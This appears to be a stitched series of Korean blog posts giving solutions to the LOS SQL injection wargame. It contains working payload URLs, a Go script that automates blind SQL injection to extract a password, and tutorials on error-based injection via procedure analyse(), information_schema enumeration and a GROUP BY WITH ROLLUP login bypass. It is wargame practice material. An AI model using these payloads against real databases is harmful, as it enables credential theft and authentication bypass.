http://los.sandbox.cash/chall/troll_4db5bdeebb8a99cbe4534cf1fcfc37eb.php?id=Admin

'War Game > LOS' 카테고리의 다른 글

LOS SKELETON  (0) 2015.10.19
LOS GOELM  (0) 2015.10.19
LOS ORGE  (0) 2015.09.14
LOS DarkElf  (0) 2015.09.14
LOS wolfman  (0) 2015.09.14

http://los.sandbox.cash/chall/orge_724bc99aec5d0ec3664912dfacdca45a.php?pw=1%27||id=0x61646d696e%26%26ascii(substr(pw,8,1))%3C=100%23

'War Game > LOS' 카테고리의 다른 글

LOS GOELM  (0) 2015.10.19
LOS Troll  (0) 2015.09.16
LOS DarkElf  (0) 2015.09.14
LOS wolfman  (0) 2015.09.14
LOS ORC  (0) 2015.09.14

https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=1%27||id=0x61646d696e%0a%26%26ascii(substr(pw,1,1))%3C=150%23

'War Game > LOS' 카테고리의 다른 글

LOS Troll  (0) 2015.09.16
LOS ORGE  (0) 2015.09.14
LOS wolfman  (0) 2015.09.14
LOS ORC  (0) 2015.09.14
LOS goblin  (0) 2015.09.14

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=1%27%0aor%0aid=0x61646d696e%23

'War Game > LOS' 카테고리의 다른 글

LOS ORGE  (0) 2015.09.14
LOS DarkElf  (0) 2015.09.14
LOS ORC  (0) 2015.09.14
LOS goblin  (0) 2015.09.14
LOS Rubiya  (0) 2015.08.16

https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23



package main


import (

"bytes"

"fmt"

"io/ioutil"

"log"

"net/http"

"regexp"

"strconv"

"time"

)


const COOKIEVALUE string = ""


var limit int = 50

var index int = 0

var payload []string

var pwLength int = 0


func main() {

//requestPost()

getLength(50)

fmt.Println(strconv.Itoa(pwLength))

index = 0

blidSqlInjection(0, 0)

fmt.Println("%v", payload)

}


func matchFind(targetString string) bool {

r, _ := regexp.Compile("<h2>Hello.*</h2>")

var result []string


result = r.FindAllString(targetString, -1)

if len(result) > 0 {

return true

} else {

return false

}

}


func requestPost() {

url := "https://los.rubiya.kr/gate.php"


data := []byte(`{"hello": "world"}`)


req, err := http.NewRequest("POST", url, bytes.NewBuffer(data))

if err != nil {

log.Fatal("Error reading request. ", err)

}


// Set headers

req.Header.Set("Content-Type", "application/json")

req.Header.Set("Host", "httpbin.org")


// Create and Add cookie to request

cookie := http.Cookie{Name: "PHPSESSID", Value: COOKIEVALUE}

req.AddCookie(&cookie)


// Set client timeout

client := &http.Client{Timeout: time.Second * 10}


// Validate cookie and headers are attached

fmt.Println(req.Cookies())

fmt.Println(req.Header)


// Send request

resp, err := client.Do(req)

if err != nil {

log.Fatal("Error reading response. ", err)

}

defer resp.Body.Close()


fmt.Println("response Status:", resp.Status)

fmt.Println("response Headers:", resp.Header)


body, err := ioutil.ReadAll(resp.Body)

if err != nil {

log.Fatal("Error reading body. ", err)

}


fmt.Printf("%s\n", body)


}


func getLength(start int) int {

//https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23


if index >= limit || start == 0 {

return -1

}

url1 := "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=pw=%27%20or%20%20length(pw)="

url2 := strconv.Itoa(start) + "%23"


data := []byte(`{"hello": "world"}`)


url := url1 + url2

fmt.Println("Request URL : ", url)

req, err := http.NewRequest("GET", url, bytes.NewBuffer(data))

if err != nil {

log.Fatal("Error reading request. ", err)

}


// Set headers

req.Header.Set("Content-Type", "application/json")


// Create and Add cookie to request

cookie := http.Cookie{Name: "PHPSESSID", Value: COOKIEVALUE}

req.AddCookie(&cookie)


// Set client timeout

client := &http.Client{Timeout: time.Second * 10}


// Send request

resp, err := client.Do(req)

if err != nil {

log.Fatal("Error reading response. ", err)

}

defer resp.Body.Close()


//fmt.Println("response Status:", resp.Status)


body, err := ioutil.ReadAll(resp.Body)

if err != nil {

log.Fatal("Error reading body. ", err)

}


matchResult := matchFind(string(body))


if matchResult == true {

fmt.Println("Length : ", strconv.Itoa(start))

pwLength = start

return start

}


index++


if matchResult == true {

getLength(start / 2)

} else {

getLength(start - 1)

}


return -1

}


func blidSqlInjection(start int, pwIndex int) int {

//https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23


fmt.Println(index, start, pwLength, pwIndex)

if start == pwLength && pwLength == pwIndex {

return -1

}


if pwLength < pwIndex {

return -1

}

url1 := "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=pw=%27%20or%20%20ascii(substr(pw," + strconv.Itoa(pwIndex) + ",1))="

url2 := strconv.Itoa(start) + "%23"


data := []byte(`{"hello": "world"}`)


url := url1 + url2

fmt.Println("Request URL : ", url)

req, err := http.NewRequest("GET", url, bytes.NewBuffer(data))

if err != nil {

log.Fatal("Error reading request. ", err)

}


// Set headers

req.Header.Set("Content-Type", "application/json")


// Create and Add cookie to request

cookie := http.Cookie{Name: "PHPSESSID", Value: COOKIEVALUE}

req.AddCookie(&cookie)


// Set client timeout

client := &http.Client{Timeout: time.Second * 10}


// Send request

resp, err := client.Do(req)

if err != nil {

log.Fatal("Error reading response. ", err)

}

defer resp.Body.Close()


//fmt.Println("response Status:", resp.Status)


body, err := ioutil.ReadAll(resp.Body)

if err != nil {

log.Fatal("Error reading body. ", err)

}


matchResult := matchFind(string(body))


index++

if matchResult == true {

//fmt.Println("Length : ", strconv.Itoa(start))

//return start

payload = append(payload, string(start))

blidSqlInjection(0, pwIndex+1)

} else {

blidSqlInjection(start+1, pwIndex)

}


return -1

}



'War Game > LOS' 카테고리의 다른 글

LOS DarkElf  (0) 2015.09.14
LOS wolfman  (0) 2015.09.14
LOS goblin  (0) 2015.09.14
LOS Rubiya  (0) 2015.08.16
LOS Evil_Wizard  (0) 2015.08.16

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=TRUE%20||%20id=0x61646d696e%20limit%201,2

'War Game > LOS' 카테고리의 다른 글

LOS wolfman  (0) 2015.09.14
LOS ORC  (0) 2015.09.14
LOS Rubiya  (0) 2015.08.16
LOS Evil_Wizard  (0) 2015.08.16
LOS NightMare  (0) 2015.08.16


'Web Hacking' 카테고리의 다른 글

PHP Type Confusion  (0) 2018.12.20
Mysql 프로시저 생성시 특수문자 escape  (0) 2017.08.03
Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
Group By SQL Injection  (1) 2015.08.24
 [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]



limit 절 뒤에 사용가능한 함수는 그리 많지 않습니다. 그중에서도 SQL Injection에 쓰이는것은

procedure analyse()라는 함수입니다. 이 함수는 현재 실행중인 컬럼에 대한 정보를 사용가능하게 해줍니다.


이 함수를 이용하면 



mysql> select * from user where id='admin' limit 1 procedure analyse();

+--------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+------+------------------

------+

| Field_name         | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std  | Optimal_fieldtype

      |

+--------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+------+------------------

------+

| user.user.id       | admin     | admin     |          5 |          5 |                0 |     0 | 5.0000                  | NULL | ENUM('admin') NOT

 NULL |


좀 깨졌지만 이렇게 컬럼의 정보에 대해서 알 수 있다.



이렇게 현재 컬럼의 테이블명과 기타 정보들이 노출됩니다.

하지만 저 procedure analyse()함수 안에서도 다른 값을 뽑아낼 수 있습니다.


그중에서 사용되는 함수는 다양하지만 

extractvalue()라는 함수가 있습니다.


mysql> SELECT * FROM user WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community' mysql>



이렇게 하면 version을 뽑을 수 있습니다.

그 외에도 information_schema에 접근하여 DB와 테이블명에 대해서도 뽑아 올 수 있습니다. 






'Web Hacking' 카테고리의 다른 글

Mysql 프로시저 생성시 특수문자 escape  (0) 2017.08.03
Double Query Injection  (2) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
Group By SQL Injection  (1) 2015.08.24
SQL Injection Tips  (0) 2015.08.24

DataBase는 다양한 정보의 집합이다.

하지만 방대한 양의 데이터를 하나하나 처리하기 위해선 시간이 오래걸리므로 미리 데이터에 대한 정보를 정리해 놓는다.

이것을 메타데이터라고 하는데 information_schema는 메타데이터의 메타데이터라고 보면 된다.

DB안의 정리된 정보를 다시 한번 정리한 정보를 담아 놓은 것이다.




mysql> show tables;

+---------------------------------------+

| Tables_in_information_schema          |

+---------------------------------------+

| CHARACTER_SETS                        |

| COLLATIONS                            |

| COLLATION_CHARACTER_SET_APPLICABILITY |

| COLUMNS                               |

| COLUMN_PRIVILEGES                     |

| ENGINES                               |

| EVENTS                                |

| FILES                                 |

| GLOBAL_STATUS                         |

| GLOBAL_VARIABLES                      |

| KEY_COLUMN_USAGE                      |

| PARTITIONS                            |

| PLUGINS                               |

| PROCESSLIST                           |

| PROFILING                             |

| REFERENTIAL_CONSTRAINTS               |

| ROUTINES                              |

| SCHEMATA                              |

| SCHEMA_PRIVILEGES                     |

| SESSION_STATUS                        |

| SESSION_VARIABLES                     |

| STATISTICS                            |

| TABLES                                |

| TABLE_CONSTRAINTS                     |

| TABLE_PRIVILEGES                      |

| TRIGGERS                              |

| USER_PRIVILEGES                       |

| VIEWS                                 |

+---------------------------------------+

28 rows in set (0.00 sec)


information_schema 안에는 다양한 테이블이 있다.




CHARACTER_SETS  : DB의 언어셋에 대한 정보

COLLATIONS : 각각의 캐릭터 셋에 대한 정보

COLLATION_CHARACTER_SET_APPLICABILITY  : ?????

COLUMNS : 각 테이블의 컬럼에 대한 정보

COLUMN_PRIVILEGES : 컬럼권한에 대한 정보, mysql.columns_priv에서 정보를 가져온다.

ENGINES : 스토리지 엔진에 대한 정보

EVENTS : 스케줄된 이벤트에 대한 정보

FILES : MySQL NDB 디스크의 메타데이터

GLOBAL_STATUS  : 서버 상태 변수에 대한 정보

GLOBAL_VARIABLES  : 서버 상태 변수에 대한 정보

KEY_COLUMN_USAGE : 키 컬럼 제한에 대한 정보

PARTITIONS : 테이블 파티션에 대한 정보 

PROCESSLIST : 현재 DataBase에서 실행되고 있는 쿼리문에 대한 정보

PROFILING : statement profiling information ???

REFERENTIAL_CONSTRAINTS : 외래키에 대한 정보

ROUTINES : 저장 프로시져와 함수에 대한 정보

SCHEMATA : 데이터베이스에 대한 정보

SCHEMA_PRIVILEGES : 데이터베이스의 권한에 대한 정보

SESSION_STATUS : 서버 상태 변수에 대한 정보

SESSION_VARIABLES : 서버 상태 변수에 대한 정보

STATISTICS : 테이블 색인정보

TABLES : 데이터베이스에 있는 테이블에 대한 정보

TABLE_CONSTRAINTS : 어떤 테이블이 제약을 갖고 있는지에 대한 정보

TABLE_PRIVILEGES : 테이블 권한에 대한 정보

TRIGGERS : 데이터베이스의 트리거에 대한 정보

USER_PRIVILEGES : 사용자 권한에 대한 정보

VIEWS : 데이터베이스 안의 view에 대한 정보


view : 하나 이상의 테이블에서 선언된 가상의 테이블이다.


이중에서 SQL Injection에 많이 사용되는 테이블들은


COLUMNS, PARTITIONS, SCHEMA, TABLES 등이 가장 많이 쓰인다.


COLUMNS 테이블 


mysql> desc columns;

+--------------------------+---------------------+------+-----+---------+-------+

| Field                    | Type                | Null | Key | Default | Extra |

+--------------------------+---------------------+------+-----+---------+-------+

| TABLE_CATALOG            | varchar(512)        | YES  |     | NULL    |       |

| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |       |

| TABLE_NAME               | varchar(64)         | NO   |     |         |       |

| COLUMN_NAME              | varchar(64)         | NO   |     |         |       |

| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |       |

| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |       |

| IS_NULLABLE              | varchar(3)          | NO   |     |         |       |

| DATA_TYPE                | varchar(64)         | NO   |     |         |       |

| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |

| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |       |

| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |       |

| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |       |

| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |       |

| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |       |

| COLUMN_TYPE              | longtext            | NO   |     | NULL    |       |

| COLUMN_KEY               | varchar(3)          | NO   |     |         |       |

| EXTRA                    | varchar(27)         | NO   |     |         |       |

| PRIVILEGES               | varchar(80)         | NO   |     |         |       |

| COLUMN_COMMENT           | varchar(255)        | NO   |     |         |       |

+--------------------------+---------------------+------+-----+---------+-------+

19 rows in set (0.02 sec)


table_schema라는 DB의 이름을 뜻하고 table_name은 현재 컬럼이 속해 있는 테이블에 대한 정보다.


select * from information_schema.columns where table_name='user';

TABLE이름이 user인 모든 컬럼을 검색한다.


column_name은 모든 컬럼에 대한 정보를 갖고 있다.


보통 SQL Injection을 할때는 DB이름->TABLE이름->COLUMN이름 순으로 알아낸다. 


mysql> select column_name from information_schema.columns where table_schema='user';

+-------------+

| column_name |

+-------------+

| id          |

| password    |

+-------------+

2 rows in set (0.02 sec)


이렇게 컬럼명을 알아낼 수 있다. 



보통 사람들은 information_schema.tables에서 정보를 많이 뽑는데 partitions에서도 똑같은 정보를 뽑을 수 있다. 

PARTITIONS 테이블 



mysql> select table_name from information_schema.partitions where table_schema='user';

+------------+

| table_name |

+------------+

| user       |

+------------+

1 row in set (0.01 sec)


데이터베이스 명과 테이블명이 모두 user여서 헷갈릴 수 있다.

더 자세한 내용은 후에 추가하겠습니다.











'Web Hacking' 카테고리의 다른 글

Double Query Injection  (2) 2015.09.07
Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
Group By SQL Injection  (1) 2015.08.24
SQL Injection Tips  (0) 2015.08.24
useful MYSQL Functions  (0) 2015.08.24

mysql> select * from member  group by 2 with rollup;

+-------+------+

| id    | pw   |

+-------+------+

| admin | 1234 |

| admin | NULL |

+-------+------+

2 rows in set (0.00 sec)



mysql> select * from user group by 2 with rollup limit 1,2;

+-------+----------+

| id    | password |

+-------+----------+

| admin | NULL     |

+-------+----------+

1 row in set (0.00 sec)


이렇게 되면 ()를 쓰는 함수를 쓰지 안아도 우회가 가능하다. 

아이디만 맞으면 로그인이 가능하다. 

rollup함수는 그룹 조건에 따라 컬럼을 그룹화하고 그 데이터의 총합을 구해주는 함수다. 하지만 문자열의 총합을 구하게 되면 

NULL값을 반환하기 때문에 SQL Injection에 악용될수 있다. 



보통 로그인에는 limtit 1이 사용된다. 그렇기 때문에 뒤에 offset 1 을 쓰면 하나는 생략하고 출력한다는 의미다.

이렇게 해도 로그인 우회가 가능하다. 


mysql> select * from user group by 2 with rollup limit 1 offset 1;

+-------+----------+

| id    | password |

+-------+----------+

| admin | NULL     |

+-------+----------+

1 row in set (0.00 sec)


mysql>



'Web Hacking' 카테고리의 다른 글

Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
SQL Injection Tips  (0) 2015.08.24
useful MYSQL Functions  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24

+ Recent posts